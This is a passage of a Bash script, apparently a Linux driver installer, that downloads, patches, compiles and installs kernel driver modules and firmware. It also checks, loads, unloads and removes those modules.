[ x"${DI_COMPILE[$1]}" == x ] then echo "DI_COMPILE[$1] isn't set!" return $ERROR fi if [ x"${DI_INSTALL1[$1]}" == x ] then echo "DI_INSTALL1[$1] isn't set!" return $ERROR fi if [ x"${DI_DRIVERGET[$1]}" == x ] then echo "DI_DRIVERGET[$1] isn't set!" return $ERROR fi if [ "${DI_DRIVERGET[$1]}" == "wget" -a x"$WGET" == x ] then echo "You need to install \"wget\" prior to installing ${DNAME[$1]}" fi if [ "${DI_DRIVERGET[$1]}" == "svn" -a x"$SVN" == x ] then echo "You need to install \"subversion\" prior to installing ${DNAME[$1]}" fi if [ "${DI_DRIVERGET[$1]}" == "cvs" -a x"$CVS" == x ] then echo "You need to install \"cvs\" prior to installing ${DNAME[$1]}" fi if [ "${DI_DRIVERGET[$1]}" == "git" -a x"$GIT" == x ] then echo "You need to install \"git\" prior to installing ${DNAME[$1]}" fi #1 - get then correct source printf "1. Getting the source..." #get it with wget if [ "${DI_DRIVERGET[$1]}" == "wget" ] then #is compressed source available? no - wget it if [ ! -f "${DI_DRIVERFILE[$1]}" ] then $WGET --progress=dot:mega -O "${DI_DRIVERFILE[$1]}" "${DI_DRIVERPATH1[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_DRIVERFILE[$1]}" 2>/dev/null fi fi #is compressed source available? no - wget it from mirror if [ ! -f "${DI_DRIVERFILE[$1]}" -a x"${DI_DRIVERPATH2[$1]}" != x ] then $WGET --progress=dot:mega -O "${DI_DRIVERFILE[$1]}" "${DI_DRIVERPATH2[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_DRIVERFILE[$1]}" 2>/dev/null fi fi #is compressed source available? no - try to locate it if [ ! -f "${DI_DRIVERFILE[$1]}" ] then cp "`locate "${DI_DRIVERFILE[$1]}" | grep "${DI_DRIVERFILE[$1]}$" | head -n 1`" ./ >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_DRIVERFILE[$1]}" 2>/dev/null fi fi #is compressed source available? no - abort install if [ ! -f "${DI_DRIVERFILE[$1]}" ] then echo "Couldn't find the correct driver file: ${DI_DRIVERFILE[$1]}" echo "The specified source seems to be down:" echo "${DI_DRIVERPATH1[$1]}" if [ x"${DI_DRIVERPATH2[$1]}" != x ] then echo "${DI_DRIVERPATH2[$1]}" fi echo "Get the file by hand, put it in \"$D_DIR/\"" echo "and restart this installation." return $NO else printf "OK\n"; fi printf "2. Extracting the source..." if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi if [ x"${DI_DRIVEREXDIR[$1]}" != x ] then #is tar gzip? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.gz$"`" != x -o x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tgz$"`" != x ] then $TAR xzf "${DI_DRIVERFILE[$1]}" "${DI_DRIVEREXDIR[$1]}" >> "$LOGFILE" 2>&1 fi #is tar bzip2? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.bz2$"`" != x ] then $TAR xjf "${DI_DRIVERFILE[$1]}" "${DI_DRIVEREXDIR[$1]}" >> "$LOGFILE" 2>&1 fi else #is tar gzip? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.gz$"`" != x -o x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tgz$"`" != x ] then $TAR xzf "${DI_DRIVERFILE[$1]}" >> "$LOGFILE" 2>&1 fi #is tar bzip2? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.bz2$"`" != x ] then $TAR xjf "${DI_DRIVERFILE[$1]}" >> "$LOGFILE" 2>&1 fi fi #is zip? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".zip$"`" != x ] then $UNZIP "${DI_DRIVERFILE[$1]}" >> "$LOGFILE" 2>&1 fi #error? abort... if [ $? != "0" ] then echo "Unable to \"extract ${DI_DRIVERFILE[$1]}\"" return $NO else printf "OK\n"; fi fi #use svn if [ "${DI_DRIVERGET[$1]}" == "svn" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" ] then $SVN co "${DI_DRIVERPATH1[$1]}" "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #still missing? - use mirror/second source in case there is one if [ ! -d "${DI_DRIVERDIR[$1]}" -a x"${DI_DRIVERPATH2[$1]}" != x ] then $SVN co "${DI_DRIVERPATH2[$1]}" "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #use cvs if [ "${DI_DRIVERGET[$1]}" == "cvs" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" ] then $CVS -z3 "${DI_DRIVERPATH1[$1]}" co -P "${DI_DRIVERPATH2[$1]}" >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #use git if [ "${DI_DRIVERGET[$1]}" == "git" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" ] then $GIT clone "${DI_DRIVERPATH1[$1]}" >> "$LOGFILE" 2>&1 fi #still missing? - use mirror/second source in case there is one if [ ! -d "${DI_DRIVERDIR[$1]}" -a x"${DI_DRIVERPATH2[$1]}" != x ] then $GIT clone "${DI_DRIVERPATH2[$1]}" >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #use cp if [ "${DI_DRIVERGET[$1]}" == "cp" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" -a -d "${DI_DRIVERPATH1[$1]}" ] then cp -rf "${DI_DRIVERPATH1[$1]}" ./ >> "$LOGFILE" 2>&1 fi #still missing? - use mirror/second source in case there is one if [ ! -d "${DI_DRIVERDIR[$1]}" -a -d "${DI_DRIVERPATH2[$1]}" ] then cp -rf "${DI_DRIVERPATH2[$1]}" ./ >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #extracted dir differs from expected one? rename it if [ x"${DI_DRIVEREXDIR[$1]}" != x -a x"${DI_DRIVEREXDIR[$1]}" != x"${DI_DRIVERDIR[$1]}" ] then mv "${DI_DRIVEREXDIR[$1]}" "${DI_DRIVERDIR[$1]}" fi #driver dir not available? abort... if [ ! -d "${DI_DRIVERDIR[$1]}" ] then echo "Directory \"${DI_DRIVERDIR[$1]}\" doesn't exist." return $NO fi #2 - get the correct patch if [ x"${DI_PATCHFILE[$1]}" != x ] then printf "3. Getting the patch..." if [ ! -f "${DI_PATCHFILE[$1]}" ] then $WGET --progress=dot:mega -O "${DI_PATCHFILE[$1]}" "${DI_PATCHPATH1[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_PATCHFILE[$1]}" 2>/dev/null fi fi if [ ! -f "${DI_PATCHFILE[$1]}" -a x"${DI_PATCHPATH2[$1]}" != x ] then $WGET --progress=dot:mega -O "${DI_PATCHFILE[$1]}" "${DI_PATCHPATH2[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_PATCHFILE[$1]}" 2>/dev/null fi fi if [ ! -f "${DI_PATCHFILE[$1]}" ] then cp "`locate "${DI_PATCHFILE[$1]}" | grep "${DI_PATCHFILE[$1]}$" | head -n 1`" ./ >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_PATCHFILE[$1]}" 2>/dev/null fi fi if [ ! -f "${DI_PATCHFILE[$1]}" ] then echo "Couldn't find the correct patch: ${DI_PATCHFILE[$1]}" return $NO else printf "OK\n"; fi cp "${DI_PATCHFILE[$1]}" "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 cd "${DI_DRIVERDIR[$1]}" #prepatching if [ x"${DI_PREPATCH[$1]}" != x ] then ${DI_PREPATCH[$1]} >> "$LOGFILE" 2>&1 fi #3 - patch it confused=0 printf "4. Patching the source..." if [ x"`$PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" | grep "^No file"`" != x ] then $PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 echo "Patching failed for files (Couldn't be found)." confused=1 fi if [ x"`$PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" | grep "FAILED"`" != x ] then $PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 echo "Patching failed for some hunks." confused=1 fi if [ x"`$PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" | grep "Reversed"`" != x ] then $PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 echo "Already patched?" confused=1 fi $PATCH -N -f ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 if [ x"$confused" == "x0" ] then printf "OK\n"; fi else cd "${DI_DRIVERDIR[$1]}" echo "3./4. Not patching." fi #4 - compile it if [ x"${DI_PRECOMP[$1]}" != x ] then ${DI_PRECOMP[$1]} >> "$LOGFILE" 2>&1 fi #set all the needed variables if [ x"${DCONFIGS[$1]}" != x ] then for v in ${DCONFIGS[$1]} do export $v done fi printf "5. Compiling the source..." PWD=`pwd` ${DI_COMPILE[$1]} >> "$LOGFILE" 2>&1 if [ $? != "0" ] then return $NO else printf "OK\n" fi if [ $NO_INSTALL = $YES ] then return $YES fi #5 - install it printf "6. Installing the modules..." ${DI_INSTALL1[$1]} >> "$LOGFILE" 2>&1 if [ x"${DI_INSTALL2[$1]}" != x ] then ${DI_INSTALL2[$1]} fi if [ $? != "0" ] then return $NO else printf "OK\n" fi if [ $NO_FIRMWARE = $YES ] then return $YES fi #6 - check/install firmware printf "7. Checking firmware..." if [ x"${DF_FIRMFILES[$1]}" != x -a x"${DF_FIRMPATH1[$1]}" != x ] then firmware_action $1 if [ $? == "$NO" ] then return $NO else printf "OK\n" fi else printf "OK\n" fi return $YES } #END install scripts firmware_action() { needs_install=0 #change back to driver directory cd "$D_DIR" if [ x"${DF_FIRMFILES[$1]}" != x -a x"${DF_FIRMPATH1[$1]}" != x ] then for ffp in ${DF_FIRMFILES[$1]} do if [ x"`find "$FIRMPATH" -name "$ffp"`" == x ] then needs_install=1 fi done if [ x"$needs_install" == "x0" ] then return $YES fi #firmware appears to be missing, install it into $FIRMPATH #download it if its not available #is compressed firmware available? no - wget it if [ ! -f "${DF_FIRMFILE[$1]}" ] then $WGET --progress=dot:mega -O "${DF_FIRMFILE[$1]}" "${DF_FIRMPATH1[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DF_FIRMFILE[$1]}" 2>/dev/null fi fi #is compressed firmware available? no - wget it from mirror if [ ! -f "${DF_FIRMFILE[$1]}" -a x"${DF_FIRMPATH2[$1]}" != x ] then $WGET --progress=dot:mega -O "${DF_FIRMFILE[$1]}" "${DF_FIRMPATH2[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DF_FIRMFILE[$1]}" 2>/dev/null fi fi #is compressed firmware available? no - try to locate it if [ ! -f "${DF_FIRMFILE[$1]}" ] then cp "`locate "${DF_FIRMFILE[$1]}" | grep "${DF_FIRMFILE[$1]}$" | head -n 1`" ./ >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DF_FIRMFILE[$1]}" 2>/dev/null fi fi #is compressed firmware available? no - abort install if [ ! -f "${DF_FIRMFILE[$1]}" ] then echo "Couldn't find the correct firmware file: ${DF_FIRMFILE[$1]}" echo "The specified source seems to be down:" echo "${DF_FIRMPATH1[$1]}" if [ x"${DF_FIRMPATH2[$1]}" != x ] then echo "${DF_FIRMPATH2[$1]}" fi echo "Get the file by hand, put it in \"$D_DIR/\"" echo "and restart this installation." return $NO fi if [ -d "${DF_FIRMDIR[$1]}" ] then #be carefull!! (deleting old firmware) rm -rf "${DF_FIRMDIR[$1]}" >> "$LOGFILE" 2>&1 fi #is tar gzip? if [ x"`echo "${DF_FIRMFILE[$1]}" | grep ".tar.gz$"`" != x -o x"`echo "${DF_FIRMFILE[$1]}" | grep ".tgz$"`" != x ] then $TAR xzf "${DF_FIRMFILE[$1]}" >> "$LOGFILE" 2>&1 fi #is tar bzip2? if [ x"`echo "${DF_FIRMFILE[$1]}" | grep ".tar.bz2$"`" != x ] then $TAR xjf "${DF_FIRMFILE[$1]}" >> "$LOGFILE" 2>&1 fi #is zip? if [ x"`echo "${DF_FIRMFILE[$1]}" | grep ".zip$"`" != x ] then $UNZIP "${DF_FIRMFILE[$1]}" >> "$LOGFILE" 2>&1 fi #error? abort... if [ $? != "0" ] then echo "Unable to extract \"${DF_FIRMFILE[$1]}\"" >> "$LOGFILE" return $NO fi #extracted firmware, change dir cd "${DF_FIRMDIR[$1]}" if [ ! -d "$FIRMPATH/${DF_INSTALLDIR[$1]}" ] then mkdir -p "$FIRMPATH/${DF_INSTALLDIR[$1]}" >> "$LOGFILE" 2>&1 fi #check if there are files available if [ x"`ls 2>/dev/null`" == x ] then echo "No firmware found in downloaded archive." return $NO fi for iffp in ${DF_FIRMFILES[$1]} do firmfilepath="`find -name "$iffp" | tail -n 1`" if [ x"$firmfilepath" != x ] then cp "$firmfilepath" "$FIRMPATH/${DF_INSTALLDIR[$1]}" >> "$LOGFILE" 2>&1 fi done #error? abort... if [ $? != "0" ] then echo "Unable to install firmware." return $NO fi else echo "No firmware information available." return $ERROR fi return $YES } isInstalled() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge ${DCOUNT} ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DMODULE[$1]}" == x ] then return $NO fi if [ x"`$MODPROBE -l | grep "\/"${DMODULE[$1]}"\.ko"`" != x ] then if [ x"${DMODINFO[$1]}" != x ] then modfile="`$MODPROBE -l | grep "\/"${DMODULE[$1]}"\.ko"`" if [ x"`modinfo "$modfile" | grep "${DMODINFO[$1]}"`" != x ] then return $YES else return $NO fi else return $YES fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge ${SCOUNT} ] then echo "Invalid stack number!" return $ERROR fi #no module specified, thus return $NO if [ x"${SMODULE[$1]}" == x ] then return $NO fi if [ x"`$MODPROBE -l | grep "\/"${SMODULE[$1]}"\.ko"`" != x ] then return $YES else return $NO fi fi return $ERROR } isInstalledFirmware() { isInstalled=1 if [ $1 -lt 0 -o $1 -ge ${DCOUNT} ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DF_FIRMFILES[$1]}" == x ] then return $ERROR fi for iiffp in ${DF_FIRMFILES[$1]} do if [ x"`find "$FIRMPATH" -name "$iiffp"`" == x ] then isInstalled=0 fi done if [ x"$isInstalled" == "x1" ] then return $YES else return $NO fi return $ERROR } isCompiled() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge ${DCOUNT} ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DMODULE[$1]}" == x ] then return $NO fi if [ ! -d "$D_DIR/" ] then return $ERROR fi cd "$D_DIR/" if [ ! -d "${DI_DRIVERDIR[$1]}" ] then return $ERROR fi cd "${DI_DRIVERDIR[$1]}/" if [ x"`find -name ${DMODULE[$1]}".ko"`" != x ] then if [ x"${DMODINFO[$1]}" != x ] then modfile="`find -name ${DMODULE[$1]}".ko"`" if [ x"`modinfo "$modfile" | grep "${DMODINFO[$1]}"`" != x ] then return $YES else return $NO fi else return $YES fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge ${SCOUNT} ] then echo "Invalid stack number!" return $ERROR fi #no module specified, thus return $NO if [ x"${SMODULE[$1]}" == x ] then return $NO fi if [ ! -d "$D_DIR/" ] then return $ERROR fi cd "$D_DIR/" if [ ! -d "${SI_DRIVERDIR[$1]}" ] then return $ERROR fi cd "${SI_DRIVERDIR[$1]}/" if [ x"`find -name ${SMODULE[$1]}".ko"`" != x ] then return $YES else return $NO fi fi return $ERROR } isLoaded() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DMODULE[$1]}" == x ] then return $NO fi if [ x"`lsmod | grep ${DMODULE[$1]}" "`" != x ] then if [ x"${DMODINFO[$1]}" != x ] then if [ x"`modinfo "${DMODULE[$1]}" | grep "${DMODINFO[$1]}"`" != x ] then return $YES else return $NO fi else return $YES fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge $SCOUNT ] then echo "Invalid stack number!" return $ERROR fi #no module specified, thus return $NO if [ x"${SMODULE[$1]}" == x ] then return $NO fi if [ x"`lsmod | grep ${SMODULE[$1]}" "`" != x ] then return $YES else return $NO fi fi return $ERROR } isInKernel() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi if [ "x${DCONFIG[$1]}" != x ] then if [ x"`grep ${DCONFIG[$1]}"y" "/lib/modules/"$KVER"/build/.config"`" != x ] then return $YES else return $NO fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge $SCOUNT ] then echo "Invalid stack number!" return $ERROR fi if [ x${SCONFIG[$1]} != x ] then if [ x"`grep ${SCONFIG[$1]}"y" "/lib/modules/"$KVER"/build/.config"`" != x ] then return $YES else return $NO fi else return $NO fi fi return $ERROR } listInstalledStacks() { echo "Found following stacks installed:" i=0 while [ $i -lt $SCOUNT ] do isInstalled $i "S" if [ $? -eq $YES ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listInstalledDrivers() { echo "Found following drivers installed:" i=0 while [ $i -lt $DCOUNT ] do isInstalled $i "D" if [ $? -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listInstalledFirmware() { echo "Found following firmwares installed:" i=0 while [ $i -lt $DCOUNT ] do isInstalledFirmware $i ret=$? if [ $ret -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listLoadedStacks() { echo "Found following stacks loaded (as module):" i=0 while [ $i -lt $SCOUNT ] do isLoaded $i "S" if [ $? -eq $YES ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listLoadedDrivers() { echo "Found following drivers loaded (as module):" i=0 while [ $i -lt $DCOUNT ] do isLoaded $i "D" if [ $? -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listKernelStacks() { echo "Found following stacks in the Kernel:" i=0 while [ $i -lt $SCOUNT ] do isInKernel $i "S" if [ $? -eq $YES ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listKernelDrivers() { echo "Found following drivers in the Kernel:" i=0 while [ $i -lt $DCOUNT ] do isInKernel $i "D" if [ $? -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listSupportedStacks() { echo "Following stacks are supported:" i=0 while [ $i -lt $SCOUNT ] do if [ x"${SMODULE[$i]}" != x ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listSupportedDrivers() { echo "Following drivers are supported:" i=0 while [ $i -lt $DCOUNT ] do if [ x"${DMODULE[$i]}" != x ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } unloadDriver() { if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi isLoaded $1 "D" if [ $? -eq $NO ] then echo "Driver isn't loaded." return $NO fi last=200 current=0 for i in ${DMODULES[$1]} do i="`echo "$i" | sed 's/-/_/'`" if [ x"`lsmod | grep $i" "`" != x ] then current=$(($current+1)) fi done while [ $current -lt $last -a $current -gt 0 ] do last=$current current=0 for i in ${DMODULES[$1]} do i="`echo "$i" | sed 's/-/_/'`" rmmod $i 2>/dev/null if [ x"`lsmod | grep $i" "`" != x ] then current=$(($current+1)) fi done done if [ $current -eq 0 ] then return $YES else return $NO fi } insertDriver() { if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi isInKernel $1 "D" if [ $? -eq $YES ] then echo "Cannot insert an in-kernel driver." return $NO fi isCompiled $1 "D" if [ $? -eq $NO ] then echo "Driver isn't compiled." return $NO fi isLoaded $1 "D" if [ $? -eq $YES ] then unloadDriver $1 if [ $? -ne $YES ] then echo "Can't unload current driver." echo "You need to remove it from memory." echo return $NO fi fi last=-1 current=0 modnum=0 cd "$D_DIR/${DI_DRIVERDIR[$1]}/" for i in ${DMODULES[$1]} do if [ x"`find -name $i".ko"`" != x ] then INSMOD[$modnum]="`find -name $i".ko"`" CHECKMOD[$modnum]="$i" modnum=$(($modnum+1)) fi done if [ $modnum -eq 0 ] then echo "Driver isn't compiled." return $NO fi while [ $current -gt $last ] do last=$current current=0 i=0 while [ $i -lt $modnum ] do insmod ${INSMOD[$i]} 2>/dev/null j="`echo ${CHECKMOD[$i]} | sed 's/-/_/'`" if [ x"`lsmod | grep "$j"`" != x ] then current=$(($current+1)) fi i=$(($i+1)) done done if [ $current -eq $modnum ] then return $YES else return $NO fi } loadDriver() { if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi isInKernel $1 "D" if [ $? -eq $YES ] then echo "Cannot load an in-kernel driver." return $NO fi isInstalled $1 "D" if [ $? -eq $NO ] then echo "Driver is not installed." return $NO fi isLoaded $1 "D" if [ $? -eq $YES ] then echo "Driver is already loaded." return $NO fi for i in ${DMODULES[$1]} do i="`echo "$i" | sed 's/-/_/'`" $MODPROBE $i 2>/dev/null done isLoaded $1 "D" if [ $? -eq $NO ] then return $NO fi return $YES } installDriver() { #check if argument is out of range if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi #check if atleast kernel headers are installed if [ ! -f "$KSRC/.config" ] then echo "Kernel headers missing!" return $ERROR fi #check if GCC is in path if [ x"$GCC" == x ] then echo "GCC not installed!" return $ERROR fi #check if gcc version matches the kernel gcc version gccvers="`$GCC --version | head -n 1 | sed 's/^[^ ]* [^ ]* \([2-4]..*\)$/\1/'`" ret="`cat /proc/version | grep "$gccvers"`" if [ x"$ret" == x ] then echo "Your current GCC version doesn't match the version your kernel was compiled with." echo "The build modules will probably not load into the running kernel." fi #cd into driver build directory mkdir -p "$D_DIR/" if [ ! -d "$D_DIR/" ] then echo "Directory \"$D_DIR/\" not available." return $ERROR fi cd "$D_DIR/" #run the custom installscript if [ x"${DI_INIT[$1]}" != x ] then ${DI_INIT[$1]} $1 fi install_action $1 ret=$? echo "Running \"depmod -ae\"..." depmod -ae return $ret } installFirmware() { #check if argument is out of range if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi #cd into driver build directory mkdir -p "$D_DIR/" if [ ! -d "$D_DIR/" ] then echo "Directory \"$D_DIR/\" not available." return $ERROR fi firmware_action $1 ret=$? return $ret } installStack() { #check if argument is out of range if [ $1 -lt 0 -o $1 -ge $SCOUNT ] then echo "Invalid stack number!" return $ERROR fi #check if atleast kernel headers are installed if [ ! -f "$KSRC/.config" ] then echo "Kernel headers missing!" return $ERROR fi #check if kernel source is installed missing=0 #check for default files README COPYING CREDITS (i hope every kernel source includes them all) if [ ! -f "$KSRC/README" -o ! -f "$KSRC/COPYING" -o ! -f "$KSRC/CREDITS" ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #2nd check (in case README COPYING and CREDITS is included in kernel headers) #searches for .c files in "net" subdir if [ $missing = 0 -a x"`find "$KSRC/net/" -name "*\.c" | head -n 1`" = x ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #check if GCC is in path if [ x"$GCC" == x ] then echo "GCC not installed!" return $ERROR fi #check if gcc version matches the kernel gcc version gccvers="`$GCC --version | head -n 1 | sed 's/^[^ ]* [^ ]* \([2-4]..*\)$/\1/'`" ret="`cat /proc/version | grep "$gccvers"`" if [ x"$ret" == x ] then echo "Your current GCC version doesn't match the version your kernel was compiled with." echo "The build modules will probably not load into the running kernel." fi #cd into driver build directory mkdir -p "$D_DIR/" if [ ! -d "$D_DIR/" ] then echo "Directory \"$D_DIR/\" not available." return $ERROR fi cd "$D_DIR/" #run the custom installscript if [ x"${SI_INIT[$1]}" != x ] then ${SI_INIT[$1]} $missing fi #map stack install to driver install, so we can use the install_action functionality DCONFIGS[999]=${SCONFIGS[$1]} # DI_INIT[999]=${SI_INIT[$1]} DI_DRIVERGET[999]=${SI_DRIVERGET[$1]} DI_DRIVERFILE[999]=${SI_DRIVERFILE[$1]} DI_DRIVERPATH1[999]=${SI_DRIVERPATH1[$1]} DI_DRIVERPATH2[999]=${SI_DRIVERPATH2[$1]} DI_DRIVEREXDIR[999]=${SI_DRIVEREXDIR[$1]} DI_DRIVERDIR[999]=${SI_DRIVERDIR[$1]} DI_PREPATCH[999]=${SI_PREPATCH[$1]} DI_PATCHFILE[999]=${SI_PATCHFILE[$1]} DI_PATCHPATH1[999]=${SI_PATCHPATH1[$1]} DI_PATCHPATH2[999]=${SI_PATCHPATH2[$1]} DI_PATCHARG[999]=${SI_PATCHARG[$1]} DI_PRECOMP[999]=${SI_PRECOMP[$1]} DI_COMPILE[999]=${SI_COMPILE[$1]} DI_INSTALL1[999]=${SI_INSTALL1[$1]} DI_INSTALL2[999]=${SI_INSTALL2[$1]} install_action "999" ret=$? echo "Running \"depmod -ae\"..." depmod -ae return $ret } removeDriver() { #check if argument is out of range if [ "$1" -lt 0 -o "$1" -ge "$DCOUNT" ] then echo "Invalid driver number!" return $ERROR fi #check if its in-kernel isInKernel $1 "D" if [ $? -eq $YES ] then echo "Cannot remove drivers build into the kernel!" exit fi #check if its installed isInstalled $1 "D" if [ $? -eq $NO ] then echo "This driver isn't installed and thus cannot be removed." exit fi echo "Starting to remove \"${DNAME[$1]}\" driver" #check if its loaded and unload befor trying to remove isLoaded $1 "D" if [ $? -eq $YES ] then unloadDriver $1 if [ $? -eq $NO -o $? -eq $ERROR ] then echo "Couldn't unload the driver." fi fi #loop through the modules, find and rm them for i in ${DMODULES[$1]} do if [ -f "`$MODPROBE -l | grep \/$i\.ko`" ] then rm -i "`$MODPROBE -l | grep \/$i\.ko`" fi done echo "Running \"depmod -ae\"..." depmod -ae return $YES } removeFirmware() { #check if argument is out of range if [ "$1" -lt 0 -o "$1" -ge "$DCOUNT" ] then echo "Invalid driver number!" return $ERROR fi #check if its installed isInstalledFirmware $1 if [ $? -eq $NO ] then echo "This firmware isn't installed and thus cannot be removed." exit fi echo "Starting to remove \"${DNAME[$1]}\" firmware" #loop through the modules, find and rm them for i in ${DF_FIRMFILES[$1]} do oldnumfiles=999 numfiles="`find "$FIRMPATH" -name "$i" 2>/dev/null | wc -l`" while [ "$numfiles" -gt 0 -a "$numfiles" -lt "$oldnumfiles" ] do fileone="`find "$FIRMPATH" -name "$i" 2>/dev/null | head -n 1`" rm -i "$fileone" oldnumfiles=$numfiles if [ ! -f "$fileone" ] then numfiles="`find "$FIRMPATH" -name "$i" 2>/dev/null | wc -l`" fi done done return $YES } removeStack() { #check if argument is out of range if [ "$1" -lt 0 -o "$1" -ge "$SCOUNT" ] then echo "Invalid stack number!" return $ERROR fi echo "Starting to remove \"${SNAME[$1]}\" driver" #loop through the modules, find and rm them for i in ${SMODULES[$1]} do if [ -f "`$MODPROBE -l | grep \/$i\.ko`" ] then rm -i "`$MODPROBE -l | grep \/$i\.ko`" fi done echo "Running \"depmod -ae\"..." depmod -ae 